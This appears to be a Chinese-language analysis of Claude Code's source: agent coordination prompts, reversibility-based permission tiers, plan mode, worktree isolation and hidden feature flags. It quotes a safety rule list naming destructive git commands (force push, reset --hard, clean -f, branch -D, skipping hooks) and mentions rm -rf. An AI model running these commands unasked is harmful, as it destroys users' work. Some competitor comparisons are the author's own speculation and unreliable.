**问题**：多 Agent 协作时，Coordinator 容易变成简单的"传话筒"——把 worker 的结果转发给下一个 worker，自己不做理解。

**方案**：提示词明确禁止"lazy delegation"：

```
Never write "based on your findings" or "based on the research." These
phrases delegate understanding to the worker instead of doing it yourself.
```

并给出了正反例：

```typescript
// Anti-pattern
Agent({ prompt: "Based on your findings, fix the auth bug", ... })

// Good
Agent({ prompt: "Fix the null pointer in src/auth/validate.ts:42. The user
field on Session (src/auth/types.ts:15) is undefined when sessions expire
but the token remains cached. Add a null check before user.id access..." })
```

**设计意图**：强制 Coordinator 做一轮"理解-综合-规格化"，把模糊的研究结果变成精确的实现指令。这实质上是把 Coordinator 当作**人类 Tech Lead** 来使用——Tech Lead 的价值不是传话，是理解后给出具体指令。

**竞品对比**：Copilot Workspace 有类似的"先调研再实施"流程，但它的调研结果直接变成 PR diff，中间没有一个 Coordinator 做综合——多个文件的调研结果被平等地对待，没有主次之分。Cursor 的 Composer 模式更简单：模型边看代码边改，研究和实施混在一起，遇到复杂问题容易在一个文件里打转而忽略跨文件影响。Devin 有类似 Coordinator 的角色，但它的"综合"更偏向项目管理（追踪进度），而不是技术综合（理解代码关系后给出精确指令）。

**代码证据**：禁止 lazy delegation 的具体约束——

```typescript
// Anti-pattern（Coordinator 假装理解了）
Agent({ prompt: "Based on your findings, fix the auth bug", ... })

// Good（Coordinator 证明自己理解了）
Agent({ prompt: "Fix the null pointer in src/auth/validate.ts:42.
The user field on Session (src/auth/types.ts:15) is undefined when
sessions expire but the token remains cached. Add a null check
before user.id access..." })
```

正例里的具体细节（文件路径、行号、字段名、根因分析）证明 Coordinator 真的读了 Worker 的结果，而不只是转发。这个约束的底层逻辑是：如果你不能给出具体的文件路径和行号，说明你没真正理解问题。

**[推测] 产品判断**：多加一轮 Coordinator 的综合，意味着多花一轮 LLM 调用的 token 和延迟。大部分多 Agent 产品不敢这么做，因为用户等不起。Claude Code 愿意付这个代价，说明它的目标用户（专业开发者）对正确性的容忍延迟高于对速度的追求。这和"快速出 demo"的 AI 编码工具形成了产品定位上的根本差异。

### 亮点 5：可逆性分级的风险管控

**问题**：Agent 自主执行时，一个错误的 `rm -rf` 或 `force push` 可能造成不可挽回的损失。

**方案**：不搞一刀切的"所有操作都要确认"，而是按可逆性分级：

```
Generally you can freely take local, reversible actions like editing files
or running tests. But for actions that are hard to reverse, affect shared
systems beyond your local environment, check with the user before proceeding.
```

**分级逻辑**：
- **自由执行**：编辑文件（可 git revert）、跑测试（只读）、查代码
- **需要确认**：删除文件、force push、发消息、改 CI/CD
- **显式授权覆盖**：用户说"更自主地操作"后可以跳过确认，但仍需 attend to risks

**代码证据**：系统提示词里 ~150 字的 Actions section + BashTool 里的 Git Safety Protocol。

**设计意图**：在自主性和安全性之间找到平衡点。太多确认 = 烦人，太少确认 = 危险。可逆性是一个好用的判断标准。

**竞品对比**：Cursor 的 Agent mode 只有"允许"和"拒绝"两档——要么全部确认（烦死），要么 auto-apply 全放开（危险）。Copilot 的权限模型更细，但它的判断依据是"工具类型"而不是"可逆性"——比如 Bash 始终需要确认，即使你只是跑个 `ls`。Windsurf 的 Cascade 有类似可逆性判断，但它的安全边界更窄，只覆盖了 git 操作，没有扩展到发消息、改 CI 等非代码场景。

**代码证据**：BashTool 里 Git Safety Protocol 的具体约束——

```
NEVER update the git config
NEVER run destructive commands (push --force, reset --hard, checkout .,
  restore ., clean -f, branch -D) unless the user explicitly requests
NEVER skip hooks (--no-verify, --no-gpg-sign, etc)
NEVER run force push to main/master
```

四个 `NEVER` 把最高风险操作锁死，同时用 "unless the user explicitly requests" 保留了逃生口——用户明确要求时可以做，但不能自作主张。注意 `NEVER skip hooks` 这一条：它不只是防破坏性操作，还在防模型绕过代码审查流程（hooks 通常包含 lint、test、sign）。

**[推测] 产品判断**：可逆性分级的落地有个根本困难：它依赖模型对"hard to reverse"的理解力。模型有时候会误判——比如认为 `git stash pop` 是可逆的（其实可能产生冲突）。更好的做法是用代码层硬限制（直接 block force push），但 Claude Code 选择用提示词软约束，说明他们认为灵活性比绝对安全更重要。这是产品取舍，不是技术缺陷。另外，"显式授权覆盖"这个逃生口很有意思——用户说"更自主地操作"后，模型的判断标准会降低，但仍需"attend to risks"。这相当于把安全阈值的选择权交给了用户。

### 亮点 6：Plan Mode — "先想后做"的权限沙箱

**问题**：Agent 收到任务后默认直接动手改代码。但很多场景下，用户真正需要的是"先告诉我你打算怎么改"——尤其是涉及架构决策、多文件重构、或者用户自己还没想清楚需求的时候。

**方案**：`EnterPlanModeTool` 让 Agent 进入一个**只读沙箱**。核心约束：

```
Plan mode constraints:
- You CANNOT edit files
- You CANNOT run mutating commands  
- You CAN read files, search code, run read-only commands
- You MUST produce a written plan before exiting
```

用户端的交互流程：

```
用户: "重构这个模块的认证逻辑"
  → Agent 调用 EnterPlanModeTool
  → 进入只读模式
  → Agent 阅读代码、搜索依赖、理解现状
  → 输出计划（文件路径、行号、改动描述）
  → 调用 ExitPlanModeTool，附带计划内容
  → 用户在 UI 上看到计划，选择批准/拒绝/修改
  → 批准后 Agent 退出 plan mode，开始执行
```

**代码证据**：`AskUserQuestionTool` 的描述中明确写了 plan mode 的特殊行为：

```
Plan mode note: In plan mode, use this tool to clarify requirements or
choose between approaches BEFORE finalizing your plan. Do NOT use this
tool to ask "Is my plan ready?" or "Should I proceed?" - use
ExitPlanMode for plan approval. IMPORTANT: Do NOT reference "the plan"
in your questions because the user cannot see the plan in the UI until
you call ExitPlanMode.
```

**给产品人的启示**：Plan Mode 不只是一个"只读开关"，它是一个**信任建立机制**。用户看到 Agent 的完整计划后，批准执行的心理门槛大幅降低。类比人类工作流：没人会直接让实习生去改生产代码，先让他写个方案，review 通过再动手。

**给工程师的启示**：Plan Mode 的约束是在工具层实现的——不是在提示词里说"别改文件"，而是直接禁用写权限的工具。这是"约束优于引导"原则的又一次落地。ExitPlanModeTool 把计划内容结构化地传回 UI，而不是让 Agent 在对话里用自然语言描述，保证了 UI 和逻辑的一致性。

**竞品对比**：Copilot Workspace 强制先出 plan 再实施，但它的 plan 是自动生成的 PR diff——用户看到的是代码变更而不是思路，这降低了 plan 的"沟通价值"。Cursor 的 Ask 模式可以看代码但不改，类似只读模式，但没有结构化的计划输出和批准机制——用户只能在对话里打字说"OK 开始改吧"，UI 体验粗糙。Windsurf 的 Plan 模式接近 Claude Code 的设计，但缺少 `AskUserQuestionTool` 的 UI 联动（多选、预览），计划审批的交互颗粒度更粗。

**你可能没注意到的细节**：`AskUserQuestionTool` 在 plan mode 下有特殊行为约束——禁止问"Is my plan ready?"或"Should I proceed?"，因为用户在 UI 上看不到计划内容（必须先调 ExitPlanMode）。还禁止在问题中引用"the plan"，因为用户根本不知道你在说什么。这说明工具设计和 UI 设计是联动的——不是每个组件各管各的，而是整个交互流程端到端设计。大部分 AI 产品做不到这一点，因为它们的工具层和 UI 层是分开开发的。

### 亮点 7：Worktree 隔离 — Agent 在沙箱里搞破坏

**问题**：Agent 执行代码修改时，可能引入破坏性变更。如果直接在用户的工作目录操作，一次错误的批量替换或者删错文件，整个项目状态就乱了。

**方案**：`EnterWorktreeTool` / `ExitWorktreeTool` 基于 git worktree 创建隔离环境：

```typescript
// Agent 定义中可以声明隔离级别
isolation: z.enum(['worktree', 'remote']).optional()
```

Worktree 的工作机制：

```
主分支 (main)
  ↓ EnterWorktreeTool
  → git worktree add .claude-worktrees/task-abc
  → Agent 在 worktree 中操作
  → 修改文件、运行测试、验证结果
  ↓ ExitWorktreeTool
  → 将 worktree 中的变更合并/PR 回主分支
  → 清理 worktree
```

**关键产品决策**：`bypassPermissions` 模式**仅在 worktree/remote 隔离下可用**。代码证据：

```
- bypassPermissions 模式：全部自动通过（仅 worktree/remote 隔离下可用）
```

**设计意图**：这是一个值得注意的的安全对冲——你想让 Agent 完全自主（bypass permissions）？可以，但必须在隔离环境里。破坏力和隔离度成正比。类比：你给建筑工人完全的施工权限没问题，但得是在脚手架围起来的施工区里，不是在你住着的客厅里。

**给产品人的启示**：Worktree 隔离解决了"信任"和"自主性"之间的死结。不隔离就不能给高权限，不给高权限 Agent 就束手束脚。Worktree 让这两个矛盾的需求同时满足——Agent 可以随便造，但造完的东西需要用户 approve 才能合并回主分支。

**竞品对比**：Copilot Workspace 天然在 branch 上操作，但 branch 不等于 worktree——branch 共享工作目录和索引，一个 `rm -rf` 或者错误的全局搜索替换就能把整个工作区搞乱。Cursor 的 Agent mode 完全没有隔离机制，直接在用户项目目录操作，出错了只能靠 undo。Devin 用容器做隔离，安全性更好但启动成本高（每次要初始化一个完整的开发环境），而且容器和本地项目的文件同步是个大问题。git worktree 是个聪明的折中——共享 git 历史和依赖，但文件系统隔离，启动成本几乎为零（`git worktree add` 秒级完成）。

**更深层的设计细节**：worktree 隔离还支持远程执行模式（`isolation: 'remote'`），意味着 Agent 可以在远程机器上运行——和本地工作目录物理隔离。这是面向未来的架构：当 Agent 的操作越来越激进（自动重构、自动升级依赖），本地 worktree 可能不够用，远程隔离 + 容器化才是终局。Agent 定义的 `isolation` 字段是一个 enum 而不是 boolean，暗示未来还会有更多隔离级别。

### 亮点 8：输出风格系统 — Agent 的"人设"可配置

**问题**：不同用户、不同场景需要不同的 Agent 输出风格。写代码时想要简洁的技术风格，写文档时想要详细的解释风格，调试时想要有条理的排查风格。

**方案**：`outputStyles` 系统让 Agent 的系统提示词中 `Tone and style` section 可替换：

```typescript
// 系统提示词构建时
getSimpleIntroSection(outputStyleConfig),  // ← outputStyleConfig 控制风格
getSimpleToneAndStyleSection(),            // ← 默认风格（可被覆盖）
```

输出风格通过 `/config` 命令配置（`/output-style` 命令已废弃）。风格配置注入到系统提示词的静态层，意味着**它参与 prompt cache**——切换风格会有 cache miss，但同风格的多次请求享受 cache 命中。

**代码证据**：系统提示词中明确把 "Output style" 列为动态 section 的一个组成部分：

```
- Output style（用户自定义输出风格）
```

**给产品人的启示**：这是把"提示词工程"从产品内部的事变成了用户可配置的事。大多数 AI 产品把输出风格写死在系统提示词里，用户只能接受。Claude Code 把它做成可配置项，实质上是在说："你比我更知道你需要什么风格的输出。"

**给工程师的启示**：outputStyle 的设计巧妙之处在于它没有搞一个复杂的风格 DSL，而是直接替换系统提示词的某个 section。简单粗暴但有效——任何能写 markdown 的人都能定义一个新的输出风格。

**竞品对比**：Cursor 没有输出风格系统，模型按系统提示词里的固定风格输出，用户没法调。Copilot 有 "detailed/terse" 的简单开关，但只有两档，且不支持自定义。ChatGPT 的 Custom Instructions 只能改"关于你"和"回复风格"两个文本框，颗粒度太粗。Claude Code 的 outputStyle 直接替换系统提示词的一个完整 section，用户可以用 Markdown 写任意复杂的风格指令——包括行为约束、格式要求、特定场景的输出模板。

**你可能没注意到的细节**：outputStyle 注入到系统提示词的**静态层**（`getSimpleIntroSection(outputStyleConfig)`），意味着它参与 prompt cache。但这里有个矛盾——如果用户频繁切换风格，每次都会 cache miss，反而增加延迟和成本。所以 Claude Code 把 `/output-style` 命令废弃了，改为通过 `/config` 配置——暗示他们期望用户设一个风格后长期使用，而不是频繁切换。这是用产品设计引导用户行为的例子：技术上支持频繁切换，但产品上鼓励稳定性。

### 亮点 8 的补充：TodoWriteTool 的 few-shot 工程

TodoWriteTool 的提示词值得单独说一下，因为它是整个代码库里 few-shot examples 最密集的工具描述。

**代码证据**：

```
Task descriptions must have two forms:
- content: imperative form ("Run tests")
- activeForm: present continuous ("Running tests")
```

这个双态设计直接对接 TUI 渲染——任务列表在前端展示时用 `content`，当前活跃任务在状态栏用 `activeForm`。如果模型只输出一种形式，UI 就得做 fallback（要么截断要么猜测），体验差。

**使用边界的 few-shot**：8 个正例 + 4 个反例，通过具体场景划清"该用 TodoWrite"和"不该用"的边界。3+ 步骤是硬阈值——2 步的任务即使复杂也不该用，因为 TodoWrite 的管理开销（创建、更新状态、标记完成）大于收益。

**竞品对比**：Copilot 没有独立的任务管理工具，多步骤任务靠模型在对话里用 markdown 列表追踪——容易丢失、没有状态管理、用户不知道"进行到哪了"。Cursor 的 Agent 用内置的 todo list，但它的提示词远没有 Claude Code 的精细——没有双态描述、没有 few-shot 边界、没有 3 步阈值。结果是模型经常在不该用 todo 的场景创建 todo list，浪费上下文。

---

## 九、Agent 定义规范

### 9.1 AgentDefinition 类型

```typescript
// tools/AgentTool/loadAgentsDir.ts (Zod schema 摘要)
z.object({
  description: z.string().min(1),
  tools: z.array(z.string()).optional(),        // 允许的工具（allowlist）
  disallowedTools: z.array(z.string()).optional(), // 禁用的工具（denylist）
  prompt: z.string().min(1),
  model: z.string().optional(),                  // 'inherit' 继承父模型
  effort: z.union([z.enum(EFFORT_LEVELS), z.number()]).optional(),
  permissionMode: z.enum(PERMISSION_MODES).optional(),
  mcpServers: z.array(AgentMcpServerSpecSchema()).optional(),
  hooks: HooksSchema().optional(),
  maxTurns: z.number().int().positive().optional(),
  skills: z.array(z.string()).optional(),
  initialPrompt: z.string().optional(),
  memory: z.enum(['user', 'project', 'local']).optional(),
  background: z.boolean().optional(),
  isolation: z.enum(['worktree', 'remote']).optional(),
})
```

Agent 可以从 Markdown frontmatter 或 JSON 文件加载。支持：
- 工具白名单/黑名单
- 指定模型或继承
- 权限模式覆盖
- MCP 服务器绑定
- 独立记忆作用域
- Worktree 隔离

---

## 十、Proactive 模式 — 自主 Agent

当 `PROACTIVE` feature flag 启用时，Claude Code 进入自主工作模式：

```
You are running autonomously. You will receive <tick> prompts that keep
you alive between turns — just treat them as "you're awake, what now?"
```

关键行为指令：
- **用 Sleep 控制节奏**：`If you have nothing useful to do on a tick, you MUST call Sleep.`
- **Bias toward action**：`Read files, search code, explore the project, run tests — all without asking.`
- **终端焦点感知**：`terminalFocus` 字段决定自主程度
  - Unfocused → 用户不在，大胆行动
  - Focused → 用户在看，保持协作

---

## 十一、用户旅程分析

从用户视角走一遍完整流程，看每个节点的产品设计决策。

### 11.1 安装与首次启动

```
npm install -g @anthropic-ai/claude-code
claude
```

安装后首次启动触发 `onboarding` 流程（源码中有专门的 `/onboarding` 命令，虽然对外隐藏）。首次启动做几件事：

1. **认证引导**：弹出 OAuth 流程或 API Key 输入。产品决策——默认走 OAuth（降低门槛），API Key 是 fallback（面向高级用户）
2. **终端能力检测**：`terminalSetup` 命令检测终端类型（Apple Terminal / iTerm / etc），自动配置 Option+Enter 换行等快捷键
3. **IDE 检测**：`/ide` 命令检测 VS Code / JetBrains 等 IDE，提示安装扩展
4. **CLAUDE.md 扫描**：如果项目根目录有 `CLAUDE.md`，自动加载为项目级记忆

**给产品人的启示**：首次体验不是"教你用"，而是"帮你配好环境"。认证、终端、IDE、项目记忆四个维度的自动检测，把 onboarding 摩擦降到最低。

### 11.2 第一次对话

用户输入第一句话后，Claude Code 做的事情：

```
用户输入
  → buildSystemPrompt() 构建系统提示词
    → 静态部分（身份、规则、工具偏好、输出风格）
    → boundary marker
    → 动态部分（环境信息、git 状态、语言偏好）
  → 工具定义注入（每个工具的 getDescription()）
  → LLM 调用
  → 工具调用循环
```

关键细节：
- **系统提示词是 lazy 构建的**：`getSystemPrompt()` 返回 `string[]`，不是拼好的大字符串。每个 section 是独立函数，支持按需组合
- **工具描述是动态的**：BashTool 的 `getSimplePrompt()` 根据 OS 类型返回不同内容（Windows vs Unix）
- **环境信息每次刷新**：`getEnvironmentDetails()` 包含当前时间、工作目录、git 分支、OS 信息——这些是动态部分，不走 prompt cache

**给工程师的启示**：静态/动态分离不只是省钱。动态部分包含会话状态（git branch、文件变更），这些信息如果混进静态部分会导致 cache 失效，反而增加延迟。

### 11.3 工具调用链

模型决定调用工具后，执行流程：

```
模型返回 tool_use block
  → 权限检查（permissionMode 分级）
    → allowPermissionSafetyLevel 判断
      → 自动执行 or 询问用户
  → 工具执行
  → 结果截断（防止输出撑爆上下文）
  → tool_result 回填对话
```

权限分级的产品逻辑：
- **readOnly 模式**：只允许读操作（Grep、Glob、Read、WebSearch）
- **default 模式**：允许大部分操作，Bash/写文件需确认
- **acceptEdits 模式**：文件编辑自动通过，Bash 需确认
- **bypassPermissions 模式**：全部自动通过（仅 worktree/remote 隔离下可用）

工具输出截断是另一个容易忽略的细节——BashTool 的输出有上限，超过部分截断并提示"输出被截断，用 offset/limit 参数查看更多"。这不是 bug，是上下文保护。

### 11.4 会话恢复

`/resume` 命令恢复之前的对话。背后的产品设计：

1. **会话存储**：每次对话的完整记录（用户输入、模型输出、工具调用和结果）持久化存储
2. **恢复时的上下文重建**：
   - 加载历史对话记录
   - 重新构建系统提示词（因为环境可能变了——新的 git branch、新的文件）
   - 重新注入工具定义
3. **分支恢复**：`/branch` 在某个历史节点创建新分支，保留之前的上下文但允许走不同路径

**给产品人的启示**：会话恢复不是简单的"加载历史记录"。系统提示词里的动态部分（环境信息、git 状态）必须重新生成——用户切了分支后恢复对话，如果还用旧的 git 信息，工具调用会出错。

### 11.5 上下文压力与压缩

当对话变长，上下文管理三级介入：

```
上下文快满
  → Microcompact（自动，~87.5% 阈值）
    → 清理旧的 tool_result（Function Result Clearing）
    → 保留最近的工具调用结果
  → Compact（手动或自动，~95% 阈值）
    → 将整个对话压缩为摘要
    → 摘要作为系统消息注入新上下文
  → Dream（Agent 模式下的记忆整理）
    → 将有价值的发现写入记忆文件
    → 清理临时状态
```

`Function Result Clearing` 的策略值得注意——不是简单地删除旧结果，而是用 `isContentlessToolResult()` 判断：如果工具结果只有元数据没有实际内容（如空的文件读取结果），直接清除；如果有内容但很旧，保留摘要。这个判断直接影响 token 消耗。

### 11.6 错误处理

Claude Code 的错误处理分三层：

1. **工具级错误**：工具执行失败 → 错误信息作为 `tool_result` 回填 → 模型看到错误后自行调整策略（换工具或换参数）
2. **模型级错误**：API 调用失败（rate limit、网络错误）→ 重试逻辑 + 用户提示。`/rate-limit-options` 命令在遇到限制时显示可选项
3. **会话级错误**：上下文溢出 → 触发 compact。模型输出异常 → 解析失败时安全降级

最值得学的错误处理模式：**让模型自己处理工具错误**。不是在框架层写一堆 if/else，而是把错误信息原样返回给模型，让它判断下一步。模型的错误恢复能力比硬编码的重试逻辑灵活得多——它可以换一种方式重试（比如文件不存在时换路径搜索），也可以放弃当前策略改用其他工具。

**给工程师的启示**：工具结果里的错误信息格式很重要。如果错误信息太技术化（stack trace），模型可能理解不了；如果太笼统（"something went wrong"），模型无法做出正确决策。Claude Code 的做法是保留有意义的错误信息，同时截断 stack trace。

### 11.7 用户旅程产品矩阵

| 阶段 | 用户目标 | Claude Code 的响应 | 产品设计原则 |
|------|---------|-------------------|-------------|
| 安装 | 快速跑起来 | 自动检测终端/IDE，OAuth 优先 | 零配置优先 |
| 首次对话 | 完成第一个任务 | 系统提示词 + 工具集自动就位 | 隐形引导 |
| 工具调用 | 看到实际结果 | 权限分级 + 输出截断 | 安全但不烦人 |
| 会话变长 | 继续工作不中断 | 三级压缩自动介入 | 上下文透明管理 |
| 恢复会话 | 接上次的活 | 重建上下文（动态部分刷新） | 状态一致性 |
| 出错 | 知道发生了什么、怎么修 | 错误回填模型，让模型自己恢复 | 自愈优先于硬编码 |

---

## 设计反模式：三个可以做得更好的地方

以上夸了不少，但源码里也有让人皱眉的设计。以下是三个"如果是我会怎么改"的分析。

### 反模式 1：TodoWrite 的 3 步阈值太机械

TodoWriteTool 的提示词写死了 "3 or more distinct steps" 才该用 todo list。但现实中，2 步任务也可能很复杂——比如"重构认证模块"只有两步（改代码、跑测试），但每一步都涉及 10+ 个文件。

**问题在哪**：用步骤数衡量复杂度是偷懒。一个 5 步的 trivial 任务（改 5 个文件的 import 路径）比一个 2 步的复杂任务（重构核心模块）更适合用 todo list 吗？显然不是。

**怎么改**：把判断标准从"步骤数"改成"预估工作量"或"涉及文件数"。提示词已经写了 "Non-trivial and complex tasks" 应该用 todo list，但和 3 步阈值并列后，模型大概率优先数步骤而不是判断复杂度。更好的做法是删掉硬阈值，只保留复杂度判断 + few-shot examples。

**为什么没改**：可能是因为"3 步"这个规则简单、可验证、few-shot 容易写。复杂度判断更主观，few-shot 边界模糊，模型执行的一致性会下降。这是"可预测性 vs 精确性"的取舍，Claude Code 选了前者。

### 反模式 2：错误处理完全依赖模型自愈

Claude Code 的错误处理哲学是"把错误原样返回给模型，让它自己想办法"。这很优雅，但也意味着框架层没有兜底逻辑。

**问题在哪**：模型的错误恢复能力不稳定。同一个错误，第 1 轮可能正确处理（换个路径重试），第 5 轮上下文变长后可能开始瞎猜（随便换个参数再试一次）。特别是 rate limit 错误——模型可能不理解 "429 Too Many Requests" 的含义，继续疯狂重试。

**代码证据**：工具执行失败后，错误信息作为 `tool_result` 回填，格式大致是：

```
Error: ENOENT: no such file or directory, open '/path/to/file.ts'
```

这个错误信息对人类来说很清晰，但对模型来说信息量有限——它知道文件不存在，但不知道该去找哪个替代路径。如果错误信息里包含"你可能想找 /path/to/file.js（注意后缀是 js 不是 ts）"，模型的恢复成功率会高很多。

**怎么改**：在工具层加一层"error enrichment"——不只是返回原始错误，还附带可能的原因和建议操作。比如 ENOENT 错误附带 "did you mean: [glob 搜索结果]"，rate limit 附带 "retry after N seconds"。这不会替代模型的判断，但能提高判断质量。

**为什么没改**：错误 enrichment 需要每个工具单独实现，工程量大。而且"给模型太多建议"可能反过来限制它的创造力——有时候模型需要的是"试试完全不同的方法"，而不是"在同一条路上修修补补"。

### 反模式 3：Explore Agent 的输出截断缺乏智能分页

Explore Agent 是只读的代码搜索 Agent，很精巧。但它有个问题：当搜索结果很长时，输出会被截断，而 Agent 的 prompt 没有教它如何主动分页来避免信息丢失。

**问题在哪**：假设用户问"找到所有调用 `authenticate()` 的地方"，在大型代码库里可能有 200 个匹配。GrepTool 的输出会被截断（可能只返回前 50 个），Explore Agent 报告"找到了多个调用"但实际只覆盖了 25%。用户以为搜索完整了，其实漏了大部分。

**代码证据**：GrepTool 支持 `offset` 和 `limit` 参数，但 Explore Agent 的 prompt 没有明确要求它"在截断时主动用 offset 翻页"。它只是说 "Search thoroughly"——但"thoroughly"对模型来说太模糊了。

```typescript
// GrepTool 参数
offset: z.number().optional(),  // Start at this match number
limit: z.number().optional(),   // Return at most this many matches
```

**怎么改**：在 Explore Agent 的 prompt 里加一条明确指令——"如果搜索结果被截断（输出提示 'output truncated'），必须用 offset 参数继续翻页，直到确认没有更多结果。不要在截断时报告'找到了所有结果'。" 简单一句话，解决大半问题。

**为什么没改**：可能是为了避免 Explore Agent 在大代码库里做太多轮搜索撑爆上下文。翻页搜索的 token 成本不低——每一轮 GrepTool 调用都是一次完整的工具执行 + 结果回填。在"完整性"和"成本"之间，Claude Code 选择了控制成本。

---

## 十二、总结

Claude Code 的设计哲学可以概括为三句话：

1. **提示词是产品**。系统提示词不是"给模型的说明"，而是产品的核心用户体验层。每一行都在做边界划定、行为塑造、风险管控。

2. **约束优于引导**。不用"请不要"，用"这样做会失败"。FileEditTool 强制先读后写，Verification Agent 强制输出命令，Explore Agent 从工具层禁用写权限。软约束和硬约束并用。

3. **层级化复杂度管理**。简单任务走单 Agent，复杂任务走 Coordinator + Workers，极端复杂走 fork 并行。上下文管理从 Microcompact 到 Compact 到 Dream 三级递进。不是"一个模型搞定一切"，而是按任务复杂度匹配执行架构。

如果要做一个类似的 AI 编码产品，最值得抄的三样东西：
- **系统提示词的 cache-aware 分层**（省钱、降延迟）
- **Verification Agent 的对抗性设计**（解决 LLM 验证的系统性偏差）
- **工具偏好的双重约束**（系统提示词 + 工具描述，防止上下文漂移）

---

*分析基于 `` 源码，部分 feature-flagged 功能的行为以代码中的条件分支为准。标注"待确认"的部分需要进一步验证。*

## 十三、竞品对比

| 维度 | Claude Code | Cursor | GitHub Copilot | Windsurf |
|------|------------|--------|----------------|----------|
| 架构 | CLI + Agent Loop | IDE 集成 | IDE 插件 | IDE 集成 |
| 工具数量 | 40+ | 20+ | 10+ | 15+ |
| 子 Agent | Fork + Coordinator | 无 | 无 | 有限 |
| 权限 | 6 层 AST 分析 | 基础 | 基础 | 中等 |
| MCP | 原生支持 | 支持 | 不支持 | 支持 |
| 记忆系统 | Memdir + Dream | 项目规则 | 无 | Rules |
| 语音 | 有（实验） | 无 | 无 | 无 |
| 价格 | $20/月 | $20/月 | $10/月 | $15/月 |

> 以上对比基于公开信息分析，具体功能以各产品最新版本为准。

## 十四、Buddy Pet 系统

终端里的虚拟宠物——18 个物种（鸭子、鹅、猫、恐龙、章鱼、猫头鹰、乌龟、蜗牛、兔子、蘑菇、胖胖等），5 个稀有度（common 60%、uncommon 25%、rare 10%、epic 4%、legendary 1%）。

Bones（骨架）由用户 ID hash 确定性生成——同一用户永远孵出同一只。Soul（灵魂）由模型首次生成后存入配置。稀有度独立于物种，legendary 有 50+ 属性下限。

交互：`/buddy pet` 触发爱心飘浮，`/buddy rename` 改名，`/buddy hat` 换帽子（8 种）。

代码里 Buddy 作为独立的"观察者"参与对话——它的提示词明确说"你不是 Claude，你是一个旁边看着的小家伙"。这不是恶搞，是认真做过的产品设计：终端工具冷冰冰的问题，用一个虚拟宠物解决了。

# Claude Code 源码隐藏功能深度分析

# Claude Code 源码隐藏功能深度分析

> 源码版本：Claude Code v2.1.88（~51万行 TypeScript）
> 分析日期：2026-03-31
>
> 基于 Claude Code 源码分析。代码使用 Bun 的 `feature()` 编译时特性门控——共发现 **75 个 feature flag**，绝大多数从未在公开文档中提及。

---

## 引言

Claude Code 的代码里埋了一套基于 `bun:bundle` 的编译时 feature flag 系统。每个 flag 用 `feature('FLAG_NAME')` 调用，Bun 打包时做死代码消除——没开的 flag，相关代码直接从产物里移除。

```typescript
// 来源：constants/betas.ts
import { feature } from 'bun:bundle'

export const AFK_MODE_BETA_HEADER = feature('TRANSCRIPT_CLASSIFIER')
  ? 'afk-mode-2026-01-31'
  : ''
```

这意味着：**你跑的 Claude Code 可能只是完整代码库的一部分。** 很多功能被编译时裁掉了，要么只在 Anthropic 内部构建中开启，要么还没到放出来的时候。

源码里还有一批以 `index.js` 形式存在的 stub 命令——`backfillSessions`、`bughunter`、`autofix-pr`、`goodClaude` 等——全部是 `{ isEnabled: () => false, isHidden: true, name: 'stub' }`。真实实现被移除了，但 import 链和 `INTERNAL_ONLY_COMMANDS` 数组保留了它们的位置。

---

## 一、Feature Flag 全表

按引用频率排序：

| Flag | 引用 | 推测用途 |
|------|------|---------|
| `KAIROS` | 154 | 主动式 AI 助手（核心） |
| `TRANSCRIPT_CLASSIFIER` | 107 | AFK/Auto 模式底层引擎 |
| `TEAMMEM` | 51 | 团队协作成员 |
| `VOICE_MODE` | 46 | 语音交互 |
| `BASH_CLASSIFIER` | 45 | Bash 命令安全分类 |
| `KAIROS_BRIEF` | 39 | Kairos 精简通知 |
| `PROACTIVE` | 37 | 主动式行为（≈KAIROS） |
| `COORDINATOR_MODE` | 32 | 多 Agent 协调 |
| `BRIDGE_MODE` | 28 | 设备桥接/远程控制 |
| `EXPERIMENTAL_SKILL_SEARCH` | 21 | 技能搜索发现 |
| `CONTEXT_COLLAPSE` | 20 | 上下文智能压缩 |
| `KAIROS_CHANNELS` | 19 | Kairos 多渠道推送 |
| `UDS_INBOX` | 17 | Unix Domain Socket 收件箱 |
| `CHICAGO_MCP` | 16 | MCP 协议扩展 |
| `BUDDY` | 16 | 桌面宠物/伴侣精灵 |
| `HISTORY_SNIP` | 15 | 历史裁剪 |
| `MONITOR_TOOL` | 13 | 监控工具 |
| `COMMIT_ATTRIBUTION` | 12 | Git 提交归因 |
| `CACHED_MICROCOMPACT` | 12 | 缓存微压缩 |
| `BG_SESSIONS` | 11 | 后台会话 |
| `AGENT_TRIGGERS` | 11 | 定时触发/Cron |
| `WORKFLOW_SCRIPTS` | 10 | 工作流脚本 |
| `ULTRAPLAN` | 10 | 超级规划（远程 Agent） |
| `SHOT_STATS` | 10 | 使用统计 |
| `TOKEN_BUDGET` | 9 | Token 预算控制 |
| `PROMPT_CACHE_BREAK_DETECTION` | 9 | Prompt 缓存破坏检测 |
| `MCP_SKILLS` | 9 | MCP 技能集成 |
| `EXTRACT_MEMORIES` | 7 | 记忆提取 |
| `CONNECTOR_TEXT` | 7 | 连接器文本摘要 |
| `TEMPLATES` | 6 | 模板系统 |
| `LODESTONE` | 6 | 待确认 |
| `TREE_SITTER_BASH_SHADOW` | 5 | Bash 语法分析影子 |
| `QUICK_SEARCH` | 5 | 快速搜索 |
| `MESSAGE_ACTIONS` | 5 | 消息操作 |
| `DOWNLOAD_USER_SETTINGS` | 5 | 下载用户设置 |
| `DIRECT_CONNECT` | 5 | 直连模式 |
| `WEB_BROWSER_TOOL` | 4 | Web 浏览器 |
| `VERIFICATION_AGENT` | 4 | 验证 Agent |
| `TERMINAL_PANEL` | 4 | 终端面板 |
| `SSH_REMOTE` | 4 | SSH 远程 |
| `REVIEW_ARTIFACT` | 4 | Review 工件 |
| `REACTIVE_COMPACT` | 4 | 响应式压缩（仅内部） |
| `KAIROS_PUSH_NOTIFICATION` | 4 | Kairos 推送通知 |
| `HISTORY_PICKER` | 4 | 历史选择器 |
| `FORK_SUBAGENT` | 4 | 子 Agent 分叉 |
| `CCR_MIRROR` | 4 | Claude Code Relay 镜像 |
| 其余 31 个 | 1-3 | 见下方简述 |

---

## 二、重点 Flag 深度分析

### 2.1 `KAIROS` — 主动式 AI 助手（154 次引用）

**整个代码库里分量最重的隐藏功能。**（详见产品分析篇第 10 章）

KAIROS 在希腊神话里是"关键时刻"。在 Claude Code 里，它代表一种全新交互范式：**AI 不再等你说话，而是主动来找你。**

开启 KAIROS 后，系统提示词会完全重写：

```typescript
// 来源：constants/prompts.ts 第 460-490 行
if ((feature('PROACTIVE') || feature('KAIROS')) && proactiveModule?.isProactiveActive()) {
  return [
    `\nYou are an autonomous agent. Use the available tools to do useful work.\n\n${CYBER_RISK_INSTRUCTION}`,
    getSystemRemindersSection(),
